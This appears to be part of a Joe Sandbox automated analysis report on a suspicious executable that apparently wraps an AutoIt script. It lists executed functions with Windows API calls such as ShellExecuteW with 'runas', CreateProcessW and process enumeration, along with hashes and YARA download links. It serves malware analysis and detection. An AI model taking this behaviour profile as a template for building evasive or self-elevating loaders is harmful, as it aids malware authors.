Instruction ID: b917fd602d11782f7d0eacab60430788ca6f2392cabfc57b554ec58514ed105f
Opcode Fuzzy Hash: 89290501de5d328644307a5a926e9279ed06c803eb3910959b93b1a2a8f843b5
Instruction Fuzzy Hash: DF11E9EB50D224BDB382C0833B6E9BF7E6FE1D27303318076B443C6A42E2950A5C5471

Function 050306B8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91e435463e77dee359ce708e68f36d9de573e98d641bc04d3ce134fd431790a5
Instruction ID: 31efe6dc076cce59fe5a3a4130fc12f043b3b7c661e41eccbb04cb0c3f3b3438
Opcode Fuzzy Hash: 91e435463e77dee359ce708e68f36d9de573e98d641bc04d3ce134fd431790a5
Instruction Fuzzy Hash: EC01BCEB50E124BEB282D1823B2E9FF7F6FE2D27303708426F443C0901E2950A4C6831

Function 050306E2 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f80b7c1562b07e4d7df0f9f38b59c0995c879dee2626bbd2de1c981dd82c18
Instruction ID: 2c4ca779cb1072a823e54561d7ad8de16238484dc185830e24cf9d5b328fe885
Opcode Fuzzy Hash: c9f80b7c1562b07e4d7df0f9f38b59c0995c879dee2626bbd2de1c981dd82c18
Instruction Fuzzy Hash: 6A019EEB50E0107DB282C5813B6E9FE6FAEE6D26313308826F447C5902E2594A5D5931

Function 05030701 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2369a770b86b6bb07ca43c985463ebea276b9df264ac279185a50d614e53a9
Instruction ID: 0ed583d843c340d9a8d5a0f3299d73d57dc95cd67611666b9ab0f540f042b031
Opcode Fuzzy Hash: 7f2369a770b86b6bb07ca43c985463ebea276b9df264ac279185a50d614e53a9
Instruction Fuzzy Hash: 83F049EB60E114BDB292D5423B6E9FE7F6EE2D67303708466F483C0902E2950A9D6931

Function 05030716 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6c76726c2accf2d5eb66632bf419a363e19ee1c6ed976cf92cd6dfa14505561
Instruction ID: 5a8174970114690d2fc1be9e167b5e3bd5868222c9c448bd618fc8a63d380cd8
Opcode Fuzzy Hash: e6c76726c2accf2d5eb66632bf419a363e19ee1c6ed976cf92cd6dfa14505561
Instruction Fuzzy Hash: 34F0A4BB60D214BEF291D5423B6D5BF7BAFE6D2730370842AF443C1901E1590A8D5931

Function 05030745 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdcb66ccac0dc581d1de73f1413491668758bac83ed62ce7c2cb080a75fdd831
Instruction ID: 1acaab7e34f555e6ae767709ca894c376463654cc1fb0f19794998aca1b1338e
Opcode Fuzzy Hash: cdcb66ccac0dc581d1de73f1413491668758bac83ed62ce7c2cb080a75fdd831
Instruction Fuzzy Hash: A4E065AB54D210BCF251D541376D9FE7AAEE1D27343718567F483D1502E1850A4D6832

Function 05030760 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1e1608560ca06de0c5b3c606623d78798f5a9514dee7f0b7f52f830607a0b6
Instruction ID: 0c0284d0aaa5019d52cbee4845dabca57b41617980e8e0065706052a96b1e77a
Opcode Fuzzy Hash: bd1e1608560ca06de0c5b3c606623d78798f5a9514dee7f0b7f52f830607a0b6
Instruction Fuzzy Hash: 12E09BAB10D110BCF241C542376D5FEBB6EE5D27303718477F083C0402F295065D6831

Function 05030770 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e183569c68be1cac717dd6d663058ab2d54c82726b263b5045ae31798df3072f
Instruction ID: 0c7f63c4e78f39d6f32ee2ea22fa460065075e1f32f8b69ea6d8fe8279182caf
Opcode Fuzzy Hash: e183569c68be1cac717dd6d663058ab2d54c82726b263b5045ae31798df3072f
Instruction Fuzzy Hash: B9F020BB10C200AEF240C1517B686FE7BAAE6D2334330897AF482D3042D156014D9830

Function 0503073F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f83f8abecef7dafe821801bd6dea06f9cda95b9ff4d2c22f6570540af53710c
Instruction ID: ac69344e6bbb11a11a6f2fd2a21b0b83a10a769683a7424994242c182d786cfe
Opcode Fuzzy Hash: 5f83f8abecef7dafe821801bd6dea06f9cda95b9ff4d2c22f6570540af53710c
Instruction Fuzzy Hash: CBE08CAB50D210ADB281C1413B6E9BE7BAEE5E1335371896BF083C1401E145048CA831

Function 05030796 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ff6ed0f4ba4ef9780b818a288b260ecefcee450f494e927f80500e88ab159d0
Instruction ID: 87a34723f246a0e18e7881333612fdd0c65df8fd14cead45dc81618cfc321e28
Opcode Fuzzy Hash: 8ff6ed0f4ba4ef9780b818a288b260ecefcee450f494e927f80500e88ab159d0
Instruction Fuzzy Hash: 0FE0DFBB109510EEE241C6417A9997E7BBEFAD172433188AAF082C3440E268459CE931

Analysis Process: MH7IABE9LKZLA9Q4.exePID: 180, Parent PID: 3300COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	1558
Total number of Limit Nodes:	49

Executed Functions

Function 00FD42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00FD430D

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

GetCurrentProcess.KERNEL32(?,0106CB64,00000000,?,?), ref: 00FD4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00FD4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00FD4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00FD4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00FD4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00FD447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00FD44A0

Strings

GetNativeSystemInfo, xrefs: 00FD4460
|O, xrefs: 010136F8
kernel32.dll, xrefs: 00FD444F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 3f68ab76f19d29fa15df96b9aa85d74026a89ae2d2080f6abbd35726425b6621
Instruction ID: ca300ab538dcda7dbadbaa2887573ff95459bdb70cb7c037a97528c6edc60007
Opcode Fuzzy Hash: 3f68ab76f19d29fa15df96b9aa85d74026a89ae2d2080f6abbd35726425b6621
Instruction Fuzzy Hash: 54A17E3790EAC0DFC732CF6974402997EE57B26250F88D89AD4C1ABB0ED63E4548DB61

Function 00FD42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00FD50AA,?,?,00000000,00000000), ref: 00FD42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00FD50AA,?,?,00000000,00000000), ref: 00FD42C9
LoadResource.KERNEL32(?,00000000,?,?,00FD50AA,?,?,00000000,00000000,?,?,?,?,?,?,00FD4F20), ref: 010135BE
SizeofResource.KERNEL32(?,00000000,?,?,00FD50AA,?,?,00000000,00000000,?,?,?,?,?,?,00FD4F20), ref: 010135D3
LockResource.KERNEL32(00FD50AA,?,?,00FD50AA,?,?,00000000,00000000,?,?,?,?,?,?,00FD4F20,?), ref: 010135E6

Strings

SCRIPT, xrefs: 00FD42BF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 779150f581d366f3b762bac67e75dbe809d34fe908aba790a38d95ecd3026e02
Instruction ID: 9a20dce47b81f62748ad2d0d4817700ed697be4a802990822c8061a239cd0dd6
Opcode Fuzzy Hash: 779150f581d366f3b762bac67e75dbe809d34fe908aba790a38d95ecd3026e02
Instruction Fuzzy Hash: 29117C71200701BFE7218B65DD48F277BBAEBC5B62F14416AF886D7254DB76E8009670

Function 01012BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00FD2B6B

Part of subcall function 00FD3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,010A1418,?,00FD2E7F,?,?,?,00000000), ref: 00FD3A78

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,01092224), ref: 01012C10
ShellExecuteW.SHELL32(00000000,?,?,01092224), ref: 01012C17

Strings

runas, xrefs: 01012C0B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 500173bfaa2194f618753b1728d0c3ddf5f08db9e76c31f0308d770eb057c330
Instruction ID: 2195e01886312c64bc9bf9f35f8201d0d7d9f5d7834452a629c22947a2c6263f
Opcode Fuzzy Hash: 500173bfaa2194f618753b1728d0c3ddf5f08db9e76c31f0308d770eb057c330
Instruction Fuzzy Hash: 6911D2316082016AC715FF64DD5196EBBA6ABA1750F4C041FF2C2462A2CF7D8A09B752

Function 0103D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0103D501
Process32FirstW.KERNEL32(00000000,?), ref: 0103D50F
Process32NextW.KERNEL32(00000000,?), ref: 0103D52F
CloseHandle.KERNELBASE(00000000), ref: 0103D5DC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab0de264ba8d5d53d97509758cb480727708b478deb11c9698da120cd8be99a0
Instruction ID: 26d21dbefa4ae0453d9c3e51e5c1f5d91ed36d47a9d6bef5be5f0d102190383a
Opcode Fuzzy Hash: ab0de264ba8d5d53d97509758cb480727708b478deb11c9698da120cd8be99a0
Instruction Fuzzy Hash: 8031AF711083009FD301EF94CC81AAFBBE9EFD9344F44092EF5C1862A1EB759A48DB92

Function 0103DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,01015222), ref: 0103DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0103DBDD
FindFirstFileW.KERNEL32(?,?), ref: 0103DBEE
FindClose.KERNEL32(00000000), ref: 0103DBFA

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 5636fbe5babc33fd04b1c5df193f8701aa0757787e722d7b48f6947f3cc79c62
Instruction ID: a80e2ed19f3b0f52dad72d31fde7b219afd0fb06a1e6629289c2e7c363d68361
Opcode Fuzzy Hash: 5636fbe5babc33fd04b1c5df193f8701aa0757787e722d7b48f6947f3cc79c62
Instruction Fuzzy Hash: F7F0EC7043051597A2306BBC9D0D46A77AC9E41334B404742F8F5C10F0EBB5995447D5

Function 00FF4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(010028E9,?,00FF4CBE,010028E9,010988B8,0000000C,00FF4E15,010028E9,00000002,00000000,?,010028E9), ref: 00FF4D09
TerminateProcess.KERNEL32(00000000,?,00FF4CBE,010028E9,010988B8,0000000C,00FF4E15,010028E9,00000002,00000000,?,010028E9), ref: 00FF4D10
ExitProcess.KERNEL32 ref: 00FF4D22

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3d583b95afa7975b521004411a0061bb8632b6ec4b028626c8c94a5c0039d040
Instruction ID: dd3bd8d5f315e177d6ac8e20d6974adf0ad38c3c727fa31433ea9090adfb0977
Opcode Fuzzy Hash: 3d583b95afa7975b521004411a0061bb8632b6ec4b028626c8c94a5c0039d040
Instruction Fuzzy Hash: E4E0BF31400149AFEF216F54DE09A593F69FF45751F104014FD958A236DB3AED41DB40

Function 0105AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0105B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0105B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0105B1D4
_wcslen.LIBCMT ref: 0105B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0105B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0105B236
_wcslen.LIBCMT ref: 0105B332

Part of subcall function 010405A7: GetStdHandle.KERNEL32(000000F6), ref: 010405C6

_wcslen.LIBCMT ref: 0105B34B
_wcslen.LIBCMT ref: 0105B366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0105B3B6
GetLastError.KERNEL32(00000000), ref: 0105B407
CloseHandle.KERNEL32(?), ref: 0105B439
CloseHandle.KERNEL32(00000000), ref: 0105B44A
CloseHandle.KERNEL32(00000000), ref: 0105B45C
CloseHandle.KERNEL32(00000000), ref: 0105B46E
CloseHandle.KERNEL32(?), ref: 0105B4E3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: ef80f24f5f3c25b005e72a09ac690deddd0227305aeac288e75a15a951e7605e
Instruction ID: e278f3b778e2b693059f0bca699bd4089db9f516256ab12c1244da96791a6096
Opcode Fuzzy Hash: ef80f24f5f3c25b005e72a09ac690deddd0227305aeac288e75a15a951e7605e
Instruction Fuzzy Hash: B2F19D716043409FD764EF28C881B6FBBE6AF85310F18855EF9D59B2A2DB35E804CB52

Function 00FDD730 Relevance: 21.6, APIs: 14, Instructions: 625windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00FDD807
timeGetTime.WINMM ref: 00FDDA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FDDB28
TranslateMessage.USER32(?), ref: 00FDDB7B
DispatchMessageW.USER32(?), ref: 00FDDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FDDB9F
Sleep.KERNELBASE(0000000A), ref: 00FDDBB1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: a45863a8229a8ee9b18951c86a3f55cde047570c8c0540b6184c43140125b643
Instruction ID: 1de6216cec3ae3ca10fdb80e23ff6325f78efa3a025fc81343fa39cfd9737e23
Opcode Fuzzy Hash: a45863a8229a8ee9b18951c86a3f55cde047570c8c0540b6184c43140125b643
Instruction Fuzzy Hash: AA421330608342DFD739DF24C894BAABBE2BF85314F18855AE4D587391D775E844EB82

Function 00FD2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00FD2D07
RegisterClassExW.USER32(00000030), ref: 00FD2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00FD2D42
InitCommonControlsEx.COMCTL32(?), ref: 00FD2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00FD2D6F
LoadIconW.USER32(000000A9), ref: 00FD2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00FD2D94

Strings

AutoIt v3 GUI, xrefs: 00FD2D23
TaskbarCreated, xrefs: 00FD2D37
0, xrefs: 00FD2CE9
+, xrefs: 00FD2CF0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: aca0c8aabbff89e1949a99ae1d8d67146aae8cec6e182723749481d1882e86f7
Instruction ID: c3f78532a1c807ba05fda7af368226b56545a90e939e9de83918291335868e68
Opcode Fuzzy Hash: aca0c8aabbff89e1949a99ae1d8d67146aae8cec6e182723749481d1882e86f7
Instruction Fuzzy Hash: 632117B5D01358AFEB20DFA4E949BDDBBB8FB08700F00811AF591A6294D7BA0544CF91

Function 0101065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101039A: CreateFileW.KERNELBASE(00000000,00000000,?,01010704,?,?,00000000,?,01010704,00000000,0000000C), ref: 010103B7

GetLastError.KERNEL32 ref: 0101076F
__dosmaperr.LIBCMT ref: 01010776
GetFileType.KERNELBASE(00000000), ref: 01010782
GetLastError.KERNEL32 ref: 0101078C
__dosmaperr.LIBCMT ref: 01010795
CloseHandle.KERNEL32(00000000), ref: 010107B5
CloseHandle.KERNEL32(?), ref: 010108FF
GetLastError.KERNEL32 ref: 01010931
__dosmaperr.LIBCMT ref: 01010938

Strings

H, xrefs: 010108BD

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 864f4027594d7c233ab582dc9384d7fb6ab44ab8f9fee991661cc61ae74a9492
Instruction ID: c046e7d17304479e691a7d271609d77846a4ff5abb0683aa099704938a0cfe78
Opcode Fuzzy Hash: 864f4027594d7c233ab582dc9384d7fb6ab44ab8f9fee991661cc61ae74a9492
Instruction Fuzzy Hash: 99A13832A041098FDF19EF68D851BAE3BE0AF06324F14419DF8D5EB2D9D7398952CB91

Function 00FD344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FD3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,010A1418,?,00FD2E7F,?,?,?,00000000), ref: 00FD3A78

Part of subcall function 00FD3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00FD3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00FD356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0101318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 010131CE
RegCloseKey.ADVAPI32(?), ref: 01013210
_wcslen.LIBCMT ref: 01013277
_wcslen.LIBCMT ref: 01013286

Strings

\, xrefs: 0101328C
Include, xrefs: 01013184, 010131C5
Software\AutoIt v3\AutoIt, xrefs: 00FD3560
\Include\, xrefs: 00FD3527

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
